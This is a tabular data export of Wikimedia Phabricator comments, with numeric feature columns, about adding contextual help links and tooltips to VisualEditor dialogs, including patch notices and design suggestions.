> * Contextual help should be able to include links - because linking to the relevant section (or anchor point - see WP:EIW, for example) is important when the (relatively short) contextual help isn't sufficient.

I think we could allow that, but we'd need to change OO.ui.FieldLayout to accept HTML for the 'help' configuration.
",,,1423651288,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,3.0,0.0,2.5,7.5,0.0,3.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.0,1.0,0.0,2.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,11.5,0.0,2.5,8.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,3.5,7.5,8.5,0.0,2.0,0.0,3.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.019607843137255,0.7721568627450981,"QUOTE
QUOTE

MediaWiki already solved this problem long ago with the i18n system and the MediaWiki: system namespace. Either look at the changes made to the i18n/en.json file, or search for the text you want changed, to find out which page in the MediaWiki namespace an admin needs to change. These MediaWiki pages can also have related talk pages.


QUOTE
QUOTE

I think we could allow that, but we'd need to change OO.ui.FieldLayout to accept HTML for the 'help' configuration.
"
409634,"There should be help links in every context - dialog boxes, inspectors, etc.","Those who noticed the contextual help on the meta (page settings) menu - I'm not one of them - apparently didn't think it was worth commenting at WP:VE/F, or its equivalent at mediawiki.org. That may because contextual help was added to the VE menu //least used.// Or because no one was overwhelmed by the wording in the contextual help popups. Or because there was no obvious way to suggest improvements in wording. Regardless of the reasons, the lack of a response should absolutely not be taken to be a polling of the user community.

More generally:

* Contextual help absolutely is needed. The lack of this is one of the major weaknesses of wikitext editing. I don't think user feedback is needed to confirm this need. But if there is any doubt, then I suggest posting this the question (""Should VE menu items have contextual help?) at one or both Feedback pages. 
* The content of contextual help should be similar to templates: visible to everyone, each on separate page, with a related talk pages, but not necessarily editable by anyone but an admin. What //isn't// needed is some programmer-added contextual help; what is needed is a //system// so that creating and modifying contextual help is done by members of Wikipedia communities. [For example, pages could be named something like this: Help:VisualEditor/ContextHelp///label//, where ""label"" is a unique name for where the contextual help will appear.
* Contextual help should be able to include links - because linking to the relevant section (or anchor point - see WP:EIW, for example) is important when the (relatively short) contextual help isn't sufficient.",,,1423633543,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,84,,0.75,0.75,0.5,2.0,1.5,7.0,2.5,1.0,0.0,0.25,0.5,1.25,0.0,0.0,0.5,0.75,0.25,4.75,10.25,0.75,1.0,1.0,0.25,0.0,1.75,0.25,0.0,0.0,0.5,0.25,0.0,4.0,1.5,0.5,1.5,0.0,0.25,0.0,0.0,0.5,0.5,0.25,0.0,1.25,0.5,1.0,0.0,0.0,0.0,14.0,1.25,0.5,0.25,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.75,0.0,0.25,0.0,0.0,0.0,5.5,5.25,7.75,2.75,2.25,8.5,0.0,0.0,0.0,0.0,3.75,0.0,0.75,0.0,1.5,10.25,3.0,0.25,0.75,0.0,1.5,0.0,1.75,1.5,0.25,1.25,0.25,0.0,0.75,4.16549984944294,0.7186841312857574,"Those who noticed the contextual help on the meta (page settings) menu - I'm not one of them - apparently didn't think it was worth commenting at WP:VE/F, or its equivalent at mediawiki.org. That may because contextual help was added to the VE menu //least used.// Or because no one was overwhelmed by the wording in the contextual help popups. Or because there was no obvious way to suggest improvements in wording. Regardless of the reasons, the lack of a response should absolutely not be taken to be a polling of the user community.

More generally:

* Contextual help absolutely is needed. The lack of this is one of the major weaknesses of wikitext editing. I don't think user feedback is needed to confirm this need. But if there is any doubt, then I suggest posting this the question (""Should VE menu items have contextual help?) at one or both Feedback pages. 
* The content of contextual help should be similar to templates: visible to everyone, each on separate page, with a related talk pages, but not necessarily editable by anyone but an admin. What //isn't// needed is some programmer-added contextual help; what is needed is a //system// so that creating and modifying contextual help is done by members of Wikipedia communities. [For example, pages could be named something like this: Help:VisualEditor/ContextHelp///label//, where ""label"" is a unique name for where the contextual help will appear.
* Contextual help should be able to include links - because linking to the relevant section (or anchor point - see WP:EIW, for example) is important when the (relatively short) contextual help isn't sufficient."
404175,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 186108 merged by jenkins-bot:
MWMediaDialog: Add contextual help for controls

[[https://gerrit.wikimedia.org/r/186108]]",,,1422488523,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,82,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.136363636363637,0.8636363636363636,"Change 186108 merged by jenkins-bot:
MWMediaDialog: Add contextual help for controls

[[GERRIT_URL]]"
401894,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 186108 had a related patch set uploaded (by Jforrester):
MWMediaDialog: Add contextual help for controls

[[https://gerrit.wikimedia.org/r/186108]]

#patch-for-review",,,1421798146,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,81,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,4.0,0.8181818181818182,"Change 186108 had a related patch set uploaded (by Jforrester):
MWMediaDialog: Add contextual help for controls

[[GERRIT_URL]]

#patch-for-review"
244443,"There should be help links in every context - dialog boxes, inspectors, etc.",Did we get any feedback?,,,1416183267,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,72,,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Did we get any feedback?
244437,"There should be help links in every context - dialog boxes, inspectors, etc.","The page settings (""meta"") dialog now has a complete set of contextual help. Will wait for further user feedback before doing the rest of the dialogs.",,,1410831140,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,63,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.90625,0.875,"The page settings (""meta"") dialog now has a complete set of contextual help. Will wait for further user feedback before doing the rest of the dialogs."
244431,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 160371 merged by jenkins-bot:
Add contextual help to all remaining meta dialog controls

https://gerrit.wikimedia.org/r/160371",,,1410831074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,63,,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.7,1.0,"Change 160371 merged by jenkins-bot:
Add contextual help to all remaining meta dialog controls

GERRIT_URL"
244424,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 160371 had a related patch set uploaded by Jforrester:
Add contextual help to all remaining meta dialog controls

https://gerrit.wikimedia.org/r/160371",,,1410744289,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,63,,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.956521739130435,1.0,"Change 160371 had a related patch set uploaded by Jforrester:
Add contextual help to all remaining meta dialog controls

GERRIT_URL"
244416,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 159104 merged by jenkins-bot:
Provide contextual help for the page settings dialog's controls

https://gerrit.wikimedia.org/r/159104",,,1410208908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,62,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.761904761904762,1.0,"Change 159104 merged by jenkins-bot:
Provide contextual help for the page settings dialog's controls

GERRIT_URL"
244408,"There should be help links in every context - dialog boxes, inspectors, etc.",First one done. We'll seek feedback on this approach and then roll out for the rest of the dialogs.,,,1410208838,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,62,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.9090909090909091,First one done. We'll seek feedback on this approach and then roll out for the rest of the dialogs.
244403,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 159104 had a related patch set uploaded by Alex Monk:
Provide contextual help for the page settings dialog's controls

https://gerrit.wikimedia.org/r/159104",,,1410200618,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,62,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.72,1.0,"Change 159104 had a related patch set uploaded by Alex Monk:
Provide contextual help for the page settings dialog's controls

GERRIT_URL"
244396,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 159095 merged by jenkins-bot:
Make help button for FieldLayout frameless again

https://gerrit.wikimedia.org/r/159095",,,1410199152,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,62,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,"Change 159095 merged by jenkins-bot:
Make help button for FieldLayout frameless again

GERRIT_URL"
244388,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 159095 had a related patch set uploaded by Alex Monk:
Make help button for FieldLayout frameless again

https://gerrit.wikimedia.org/r/159095",,,1410199015,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,62,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7727272727272725,1.0,"Change 159095 had a related patch set uploaded by Alex Monk:
Make help button for FieldLayout frameless again

GERRIT_URL"
244383,"There should be help links in every context - dialog boxes, inspectors, etc.",It looks like some work was done in Gerrit change 147751 and then reverted,,,1407980699,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,58,,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,1.0,It looks like some work was done in Gerrit change 147751 and then reverted
244377,"There should be help links in every context - dialog boxes, inspectors, etc.","So for adding these to the page settings controls, it should now just be a case of adding the new messages and using them as the config.help for each setting's FieldLayout. James, are you planning to do this?",,,1405636684,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,54,,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,7.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,14.0,5.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,2.0,9.0,0.0,0.0,0.0,3.9767441860465116,0.8604651162790697,"So for adding these to the page settings controls, it should now just be a case of adding the new messages and using them as the config.help for each setting's FieldLayout. James, are you planning to do this?"
244372,"There should be help links in every context - dialog boxes, inspectors, etc.",So I suppose now the job is to start writing copy…,,,1405452080,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,54,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.3333333333333335,1.0,So I suppose now the job is to start writing copy…
244367,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 142468 merged by jenkins-bot:
Allow FieldLayouts to have help text

https://gerrit.wikimedia.org/r/142468",,,1405449958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,54,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.470588235294118,1.0,"Change 142468 merged by jenkins-bot:
Allow FieldLayouts to have help text

GERRIT_URL"
244360,"There should be help links in every context - dialog boxes, inspectors, etc.","Change 142468 had a related patch set uploaded by Alex Monk:
Allow FieldLayouts to have help text

https://gerrit.wikimedia.org/r/142468",,,1403828245,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.476190476190476,1.0,"Change 142468 had a related patch set uploaded by Alex Monk:
Allow FieldLayouts to have help text

GERRIT_URL"
244355,"There should be help links in every context - dialog boxes, inspectors, etc.","As a start, maybe add the (?) icon next to each of the page settings controls so we can give some blurb for users? I'm happy to write the copy on the commits. :-)",,,1402608232,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,True,,,49,,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,5.0,2.0,0.0,18.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,18.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.225,0.875,"As a start, maybe add the (?) icon next to each of the page settings controls so we can give some blurb for users? I'm happy to write the copy on the commits. :-)"
244348,"There should be help links in every context - dialog boxes, inspectors, etc.","**turingt** wrote:

Maybe, the way to make the target page configurable can be creating a fixed redirect page for each link, so that we can change the redirect target.",,,1378729186,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,10,,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,5.0,0.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6842105263157894,0.7368421052631579,"**turingt** wrote:

Maybe, the way to make the target page configurable can be creating a fixed redirect page for each link, so that we can change the redirect target."
244341,"There should be help links in every context - dialog boxes, inspectors, etc.","At https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=572181319#Inserting_reference there are comments that the instruction manual is too difficult to find, and requests that contextual help be added to the various dialogs. 

These help links should obviously open in a new window/tab, and the target needs to be configurable on wiki as help pages are not static and get split/merged/reorganised over time.",,,1378729025,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-qeadal5vtjyli2cuuxzk,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,2.0,2.0,9.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,15.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,3.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,5.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.7727272727272727,"At URL there are comments that the instruction manual is too difficult to find, and requests that contextual help be added to the various dialogs. 

These help links should obviously open in a new window/tab, and the target needs to be configurable on wiki as help pages are not static and get split/merged/reorganised over time."
53774,VisualEditor: TemplateData-provided parameters in list should show description in tooltip,"The description of a parameter in the list of parameters does not always fit in the width of the editing add-parameter box, particularly in firefox (where the font size is apparently larger in than chrome) and when users are using large fonts for accessibility reasons. Where this is the case (or always) the description should be shown in a tooltip on hover or when selected by up/down keyboard prior to insertion.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50354
https://bugzilla.wikimedia.org/show_bug.cgi?id=51436
https://bugzilla.wikimedia.org/show_bug.cgi?id=62142",Low,25.0,1374419280,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rggykpwnizk34bvpsjp6,task_description,open,True,c1,3,False,False,,2,,0.0,0.0,0.0,1.0,0.5,2.5,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,13.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,5.5,2.5,7.0,2.5,2.5,6.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,9.0,2.5,0.0,0.0,0.0,0.0,0.0,2.5,1.5,0.0,0.5,0.5,0.0,0.0,3.9210526315789473,0.7105263157894737,"The description of a parameter in the list of parameters does not always fit in the width of the editing add-parameter box, particularly in firefox (where the font size is apparently larger in than chrome) and when users are using large fonts for accessibility reasons. Where this is the case (or always) the description should be shown in a tooltip on hover or when selected by up/down keyboard prior to insertion.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL"
